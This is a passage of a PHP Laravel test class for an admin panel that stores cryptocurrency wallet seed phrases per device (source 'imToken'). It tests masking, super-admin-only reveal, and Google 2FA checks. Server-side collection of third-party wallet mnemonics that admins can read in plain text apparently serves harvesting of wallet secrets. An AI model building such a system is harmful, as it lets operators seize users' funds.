create(['device_id' => 'dev-reveal-1']); $row = new WalletMnemonic([ 'device_id' => $device->id, 'source' => 'imToken', ]); $row->mnemonic = self::PHRASE; $row->save(); return $row; } private function bindSecret(Admin $admin): string { $secret = app(AdminGoogle2fa::class)->generateSecret(); $admin->forceFill([ 'google_secret' => $secret, 'google_auth_open' => 0, ])->save(); return $secret; } private function otp(string $secret): string { return (new Google2FA)->getCurrentOtp($secret); } #[Test] public function list_stays_masked_and_super_sees_reveal_url(): void { $admin = Admin::query()->create([ 'username' => 'root', 'password' => 'secret12', 'is_super' => 1, ]); $mnemonic = $this->storeMnemonic(); $this->actingAs($admin, 'admin') ->getJson(route('admin.mnemonics.data')) ->assertOk() ->assertJsonPath('data.0.id', $mnemonic->id) ->assertJsonPath('data.0.mnemonic', 'abandon *** about') ->assertJsonPath('data.0.can_reveal', true) ->assertJsonPath('data.0.reveal_url', route('admin.mnemonics.reveal', $mnemonic)); } #[Test] public function normal_admin_list_has_no_reveal(): void { $admin = Admin::query()->create([ 'username' => 'staff', 'password' => 'secret12', 'is_super' => 0, ]); $this->storeMnemonic(); $this->actingAs($admin, 'admin') ->getJson(route('admin.mnemonics.data')) ->assertOk() ->assertJsonPath('data.0.can_reveal', false) ->assertJsonPath('data.0.reveal_url', ''); } #[Test] public function super_reveals_after_google_code(): void { $admin = Admin::query()->create([ 'username' => 'root', 'password' => 'secret12', 'is_super' => 1, ]); $secret = $this->bindSecret($admin); $mnemonic = $this->storeMnemonic(); $this->actingAs($admin, 'admin') ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ 'GACode' => $this->otp($secret), ]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.mnemonic', self::PHRASE); } #[Test] public function reveal_rejects_wrong_code(): void { $admin = Admin::query()->create([ 'username' => 'root', 'password' => 'secret12', 'is_super' => 1, ]); $this->bindSecret($admin); $mnemonic = $this->storeMnemonic(); $this->actingAs($admin, 'admin') ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ 'GACode' => '000000', ]) ->assertOk() ->assertJson(['code' => 1, 'msg' => '谷歌验证码不正确']); } #[Test] public function reveal_requires_bound_google(): void { $admin = Admin::query()->create([ 'username' => 'root', 'password' => 'secret12', 'is_super' => 1, ]); $mnemonic = $this->storeMnemonic(); $this->actingAs($admin, 'admin') ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ 'GACode' => '123456', ]) ->assertOk() ->assertJsonPath('code', 1); } #[Test] public function normal_admin_cannot_reveal(): void { $admin = Admin::query()->create([ 'username' => 'staff', 'password' => 'secret12', 'is_super' => 0, ]); $this->bindSecret($admin); $mnemonic = $this->storeMnemonic(); $this->actingAs($admin, 'admin') ->postJson(route('admin.mnemonics.reveal', $mnemonic), [ 'GACode' => '123456', ]) ->assertForbidden(); } #[Test] public function bind_can_skip_login_verify(): void { $admin = Admin::query()->create([ 'username' => 'root', 'password' => 'secret12', 'is_super' => 1, ]); $google2fa = app(AdminGoogle2fa::class); $secret = $google2fa->generateSecret(); $this->actingAs($admin, 'admin') ->withSession(['admin_google2fa_pending_secret' => $secret]) ->postJson(route('admin.security.google2fa.bind'), [ 'GASecret' => $secret, 'GAKey' => $this->otp($secret), 'login_verify' => 0, ]) ->assertOk() ->assertJsonPath('code', 0); $admin->refresh(); $this->assertTrue($admin->hasGoogleBound()); $this->assertFalse($admin->requiresLoginGoogle()); } }